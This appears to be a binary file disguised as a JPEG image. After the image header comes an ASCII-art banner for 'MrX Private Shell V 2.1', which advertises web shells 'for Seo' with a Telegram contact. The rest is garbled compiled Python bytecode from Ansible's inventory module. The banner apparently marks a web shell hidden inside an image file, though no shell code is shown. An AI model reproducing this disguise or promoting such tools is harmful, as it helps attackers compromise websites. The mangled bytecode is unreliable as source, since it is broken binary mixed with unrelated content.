����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
�)g�% � @ s� d dl mZmZmZ eZd dlmZmZ d dl m
Z
d dlmZ
d dlmZ d dlmZmZ d dlmZ d dlmZ e� Zddd�ZG d
d� d�ZdS )� )�absolute_import�division�print_function)�Mapping�MutableMapping)�chain)� constants)�AnsibleError)� to_native�to_text)�Display)�combine_vars�_Fc C s� d}| r�t j�| �}|r�dtt|��t| �f }t jdvs>|rnt j�|| �} |s�t jdks�t�d| � d}nt jdkr�t�d| � d }|r�t� |� | S )
N� z,invalid character(s) "%s" in group name (%s))�never�ignoreZsilentlyz
Replacing zaInvalid characters were found in group names and automatically replaced, use -vvvv to see detailsr zNot replacing %szWInvalid characters were found in group names but not replaced, use -vvvv to see details)
�CZINVALID_VARIABLE_NAMES�findallr �setZTRANSFORM_INVALID_GROUP_CHARS�sub�displayZvvvvZwarning)�nameZreplacer�forceZsilent�warnZ
invalid_chars�msg� r �;/usr/lib/python3.9/site-packages/ansible/inventory/group.py�to_safe_group_name s
r c @ s� e Zd ZdZd0dd�Zdd� Zdd� Zd d
� Zdd� Zd
d� Z dd� Z
d1dd�Zdd� Zdd� Z
edd� �Zdd� Zdd� Zdd� Zd d!� Zd"d#� Zd$d%� Zd&d'� Zd(d)� Zd*d+� Zd,d-� Zd.d/� ZdS )2�Groupz a group of ansible hosts Nc C s>